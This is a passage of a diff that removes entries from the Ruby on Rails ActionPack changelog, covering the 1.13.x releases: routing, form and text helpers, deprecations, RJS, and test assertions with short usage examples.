-* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 [Bob Silva]
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
-
-* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. [Rick Olson]
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. [Rick Olson]
-
-* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
-
- <% content_tag :div, :class => "strong" %>
- Hello world!
- <% end %>
-
- Will output:
- <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
-
-* Force *_url named routes to show the host in ActionView [Rick Olson]
-
- <%= url_for ... %> # no host
- <%= foo_path %> # no host
- <%= foo_url %> # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
-
-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. [Rick Olson]
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
-
-* Fix deprecation warnings when rendering the template error template. [Nicholas Seckar]
-
-* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
-
-* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
-
-* Replace KCODE checks with String#chars for truncate. Closes #6385 [Manfred Stienstra]
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. [Marcel Molina Jr.]
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
-
-* Install named routes into ActionView::Base instead of proxying them to the view via helper_method. Closes #5932. [Nicholas Seckar]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* Fix relative URL root matching problems. [Mark Imbriaco]
-
-* Fix filter skipping in controller subclasses. #5949, #6297, #6299 [Martin Emde]
-
-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). [Jeremy Kemper]
-
-* Rename test assertion to prevent shadowing. Closes #6306. [psross]
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
-
- update_page_tag :defer => 'true' { |page| ... }
-
- Gives:
-
- <script defer="true" type="text/javascript">...</script>
-
- Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
-
-* respond_to :html doesn't assume .rhtml. #6281 [Hampton Catlin]
-
-* Fixed some deprecation warnings in ActionPack [Rick Olson]
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 [japgolly]
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. [Jeremy Kemper]
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
-
- head :status => 404 # expands to "404 Not Found"
- head :status => :not_found # expands to "404 Not Found"
- head :status => :created # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
-
- head :status => 404 # return an empty response with a 404 status
- head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. [Rick Olson]
-
-* strip_links is case-insensitive. #6285 [tagoh, Bob Silva]
-
-* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
-
-* Filters overhaul including meantime filter support using around filters + blocks. #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
-
-* Update RJS render tests. [sam]
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead@site5.com]
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
-
- respond_to do |format|
- format.html { render :text => "I'm being sent as text/html" }
- format.rss { render :text => "I'm being sent as application/rss+xml" }
- format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
- end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
-
-* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
-
- response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-
- ...now:
-
- response.content_type = Mime::ATOM
- response.charset = "utf-8"
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
-
- - XPATH support
- - Make Form.getElements() return elements in the correct order
- - fix broken Form.serialize return
-
-* Declare file extensions exempt from layouts. #6219 [brandon]
- Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs [Rick Olson]
-
- Given RJS like...
-
- page['test1'].replace "<div id=\"1\">foo</div>"
- page['test2'].replace_html "<div id=\"2\">foo</div>"
-
- Test it with...
-
- assert_select_rjs :chained_replace
- assert_select_rjs :chained_replace, "test1"
-
- assert_select_rjs :chained_replace_html
- assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 [choonkeat@gmail.com]
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 [Manfred Stienstra, raphinou@yahoo.com]
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
-
-* Add descriptive messages to the exceptions thrown by cgi_methods. #6091, #6103 [Nicholas Seckar, Bob Silva]
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 [petermichaux@gmail.com]
-
-* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
-
- link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-
- ...can be written like this:
-
- link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Update to Prototype 1.5.0_rc1 [sam]
-
-* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
-
- page['foo']['style'] # => $('foo').style;
- page['foo']['style']['color'] # => $('blank_slate').style.color;
- page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
- page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson]
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq@moriq.com]
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails@bencurtis.com]
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
-
-* Integration tests: thoroughly test ActionController::Integration::Session. #6022 [Kevin Clark]
- (tests skipped unless you `gem install mocha`)
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
-
-* radio_button_tag generates unique id attributes. #3353 [Bob Silva, somekool@gmail.com]
-
-* strip_tags passes through blank args such as nil or "". #2229, #6702 [duncan@whomwah.com, dharana]
-
-* Cleanup assert_tag :children counting. #2181 [jamie@bravenet.com]
-
-* button_to accepts :method so you can PUT and DELETE with it. #6005 [Dan Webb]
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. [Rick Olson]
-
-* Update routing documentation. Closes #6017 [Nathan Witmer]
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 [Nathan Witmer]
-
-* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
-
-* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Fix send_data documentation typo. #5982 [brad@madriska.com]
-
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
-
-* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
-
-* Clean up and run the Active Record integration tests by default. #5854 [Kevin Clark, Jeremy Kemper]
-
-* Correct example in cookies docs. #5832 [jessemerriman@warpmail.net]
-
-* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
-
-* Add controller_paths variable to Routing. [Nicholas Seckar]
-
-* Fix assert_redirected_to issue with named routes for module controllers. [Rick Olson]
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
-
-* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
-
-* Require Tempfile explicitly for TestUploadedFile due to changes in class auto loading. [Rick Olson]
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams@gmail.com]
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
-
-* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat@gmail.com]
-
-* Make controller_path available as an instance method. #5724 [jmckible@gmail.com]
-
-* Update query parser to support adjacent hashes. [Nicholas Seckar]
-
-* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
-
-* Restrict Request Method hacking with ?_method to POST requests. [Rick Olson]
-
-* Fix bug when passing multiple options to SimplyRestful, like :new => { :preview => :get, :draft => :get }. [Rick Olson, Josh Susser, Lars Pind]
-
-* Dup the options passed to map.resources so that multiple resources get the same options. [Rick Olson]
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. [Rick Olson]
-
-* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
-
- map.resources :messages
- map.resources :messages, :comments
- map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
-
-* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
-
-* Don't search a load-path of '.' for controller files [Jamis Buck]
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 [lmarlow]
-
-* Allow form_for and fields_for to work with indexed form inputs. [Jeremy Kemper, Matt Lyon]
-
- <% form_for 'post[]', @post do |f| -%>
- <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
-
-* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
-
-* Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net]
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com]
-
-* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
-
-* Update render :partial documentation. #5646 [matt@mattmargolis.net]
-
-* Integration tests behave well with render_component. #4632 [edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com]
-
-* Added exception handling of missing layouts #5373 [chris@ozmm.org]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
-
-* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
-
-* Avoid naming collision among compiled view methods. [Jeremy Kemper]
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
-
-* Determine the correct template_root for deeply nested components. #2841 [s.brink@web.de]
-
-* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
-
-* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
-
-* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 [me@julik.nl]
-
-* Fix documentation for with_routing to reflect new reality. #5281 [rramdas@gmail.com]
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
-
- map.connect '/foo/:id', :controller => '...', :action => '...'
- map.connect '/foo/:id.:format', :controller => '...', :action => '...'
- map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
-
-* Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |format|
- format.html
- format.xml { render :xml => @posts.to_xml }
- format.rss { render :action => "feed.rxml" }
- end
- end
- end
-
- # returns HTML when requested by a browser, since the browser
- # has the HTML mimetype at the top of its priority list
- Accept: text/html
- GET /weblog
-
- # returns the XML
- Accept: application/xml
- GET /weblog
-
- # returns the HTML
- Accept: application/xml
- GET /weblog.html
-
- # returns the XML
- Accept: text/html
- GET /weblog.xml
-
- All this relies on the fact that you have a route that includes .:format.
-
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
-
-* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
-
-* Fix flip flopped logic in docs for url_for's :only_path option. Closes #4998. [esad@esse.at]
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). [Jeremy Kemper]
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
-
- map.connect '*path', :controller => 'files', :action => 'show'
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair@orcaware.com>]
-
-* Documentation fix: integration test scripts don't require integration_test. Closes #4914. [Frederick Ros <sl33p3r@free.fr>]
-
-* ActionController::Base Summary documentation rewrite. Closes #4900. [Kevin Clark]
-
-* Fix text_helper.rb documentation rendering. Closes #4725. [Frederick Ros]
-
-* Fixes bad rendering of JavaScriptMacrosHelper rdoc (closes #4910) [Frederick Ros]
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew@redlinesoftware.com, Marcel Molina Jr.]
-
- error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. [Rick Olson]
-
-* Documentation for AbstractRequest. Closes #4895. [Kevin Clark]
-
-* Refactor various InstanceTag instance method to class methods. Closes #4800. [Stefan Kaes]
-
-* Remove all remaining references to @params in the documentation. [Marcel Molina Jr.]
-
-* Add documentation for redirect_to :back's RedirectBackError exception. [Marcel Molina Jr.]
-
-* Update layout and content_for documentation to use yield rather than magic @content_for instance variables. [Marcel Molina Jr.]
-
-* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: [Rick Olson]
-
- redirect_to :action => 'new'
- assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
-
-* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
-
- assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
- assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to [Rick Olson]
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii@comcast.net, Sam Stephenson]
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
- ex. verify :only => :speak, :method => :post,
- :render => { :status => 405, :text => "Must be post" },
- :add_headers => { "Allow" => "POST" }
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled #1897 [jeremye@bsa.ca.gov]
-
-
-*1.13.3* (March 12th, 2007)
-
-* Apply [5709] to stable.
-
-* session_enabled? works with session :off. #6680 [Jonathan del Strother]
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. [Stefan Kaes]
-
-
-*1.13.2* (February 5th, 2007)
-
-* Add much-needed html-scanner tests. Fixed CDATA parsing bug. [Rick Olson]
-
-* improve error message for Routing for named routes. [Rob Sanheim]
-
-* Added enhanced docs to routing assertions. [Rob Sanheim]
-
-* fix form_for example in ActionController::Resources documentation. [gnarg]
-
-* Add singleton resources from trunk [Rick Olson]
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 [nik.kakelin, ben, julik]
-
-* Improve routes documentation. #7095 [zackchandler]
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 [dkubb]
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
-
-* Autolinking recognizes trailing and embedded . , : ; #7354 [Jarkko Laine]
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. [imajes]
-
-* Improved auto_link to match more valid urls correctly [Tobias Lütke]
-
-
-*1.13.1* (January 18th, 2007)
-
-* Fixed content-type bug in Prototype [sam]
-
-
-*1.13.0* (January 16th, 2007)
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Allow exempt_from_layout :rhtml. #6742, #7026 [Dan Manges, Squeegy]
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 [Nicholas Seckar, aiwilliams, brentrowland]
-
-* link_to_unless_current works with full URLs as well as paths. #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
-
-* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 [mitreandy]
-
-* Fix no method error with error_messages_on. Closes #6935 [nik.wakelin Koz]
-
-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 [Steven Bristol]
-
-* Slight doc tweak to #prepend_filter. Closes #6493 [Jeremy Voorhis]
-
-* Add more extensive documentation to the AssetTagHelper. Closes #6452 [Bob Silva]
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 [Bob Silva]
-
-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
-
-* Make sure html_document is reset between integration test requests. [ctm]
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. [Josh Susser]
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. [Rick Olson]
-
-* Ensure render :json => ... skips the layout. #6808 [Josh Peek]
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables. [Nate Wiger]
-
-* Only cache GET requests with a 200 OK response. #6514, #6743 [RSL, anamba]
-
-* Correctly report which filter halted the chain. #6699 [Martin Emde]
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 [Scott Raymond, eventualbuddha]
- # application/json response with body 'Element.show({:name: "David"})'
- respond_to do |format|
- format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
- end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 [sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva]
-
-* Adds html id attribute to date helper elements. #1050, #1382 [mortonda@dgrmm.net, David North, Bob Silva]
-
-* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 [moriq, Doug Fales, Bob Silva]
-
-* Add :order to datetime_select, select_datetime, and select_date. #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
-
-* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
-
-* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 [csn, Bob Silva]
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 [tomasj, Bob Silva]
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 [Bob Silva]
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. [Jeremy Kemper]
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
-
-
-*1.13.0 RC1* (r5619, November 22nd, 2006)
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
-
-* Ensure render_to_string cleans up after itself when an exception is raised. #6658 [rsanheim]
-
-* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
-
-* simple_format helper doesn't choke on nil. #6644 [jerry426]
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
-
-* Deprecate standalone components. [Jeremy Kemper]
-
-* Always clear model associations from session. #4795 [sd@notso.net, andylien@gmail.com]
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 [dkubb]
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 [Andreas Schwarz, Jeremy Kemper]
-
-* assert_response supports symbolic status codes. #6569 [Kevin Clark]
- assert_response :ok
- assert_response :not_found
- assert_response :forbidden
-
-* Cache parsed query parameters. #6559 [Stefan Kaes]
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 [Bob Silva]
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. [Jeremy Kemper]
-
-* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 [Bob Silva]
-
-* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. [Rick Olson]
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. [Rick Olson]
-
-* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
-
- <% content_tag :div, :class => "strong" %>
- Hello world!
- <% end %>
-
- Will output:
- <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
-
-* Force *_url named routes to show the host in ActionView [Rick Olson]
-
- <%= url_for ... %> # no host
- <%= foo_path %> # no host
- <%= foo_url %> # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
-
-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. [Rick Olson]
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
-
-* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
-
-* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
-
-* Replace KCODE checks with String#chars for truncate. Closes #6385 [Manfred Stienstra]
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. [Marcel Molina Jr.]
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
-
-* Fix relative URL root matching problems. [Mark Imbriaco]
-
-* Fix filter skipping in controller subclasses. #5949, #6297, #6299 [Martin Emde]
-
